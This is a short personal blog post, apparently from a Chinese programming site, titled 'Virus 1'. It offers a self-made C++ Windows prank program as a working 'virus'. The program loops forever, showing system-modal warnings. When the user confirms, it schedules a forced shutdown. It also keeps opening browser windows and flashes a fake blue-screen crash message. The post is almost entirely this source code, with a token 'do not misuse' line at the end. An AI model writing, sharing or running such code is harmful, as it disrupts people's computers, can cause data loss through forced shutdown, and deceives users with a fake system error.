病毒1

· · 个人记录

这是一个我自创的病毒。

#include<bits/stdc++.h>
#include<Windows.h>;
using namespace std;

int main()
{
    srand(time(NULL));
    while(1)
    {
        if(MessageBox(NULL,"确定要启动这个程序?\n后果自负!","警告",MB_YESNO | MB_ICONEXCLAMATION | MB_SYSTEMMODAL)==IDYES)
        {
            system("shutdown /s /t 15");
            while(1)
            {
                ShellExecute(NULL,"open","explorer","http://www.luogu.com.cn",NULL,SW_SHOW);
                int r1=rand()%1250+1;
                int r2=rand()%50;
                if(r2==13 || r2==37 || r2==47)
                {
                    system("color 07");     
                }       
                else
                {
                    system("color 1F");
                }
                for(int i=1;i<=r1;i++)
                {
                    printf(" ");
                }
                printf(":(你的电脑出现问题,请尝试重启。Your computer is experiencing issues, please try restarting it.");
                Sleep(10);
                system("cls");
            }
        }
        ShellExecute(NULL,"open","explorer","http://www.luogu.com.cn",NULL,SW_SHOW);
        int r1=rand()%1250+1;
        int r2=rand()%50;
        if(r2==13 || r2==37 || r2==47)
        {
            system("color 07");     
        }       
        else
        {
            system("color 1F");
        }
        for(int i=1;i<=r1;i++)
        {
            printf(" ");
        }
        printf(":(你的电脑出现问题,请尝试重启。Your computer is experiencing issues, please try restarting it.");
        Sleep(10);
        system("cls");
    }
    return 0;
}  

请注意,请勿用于不良目的!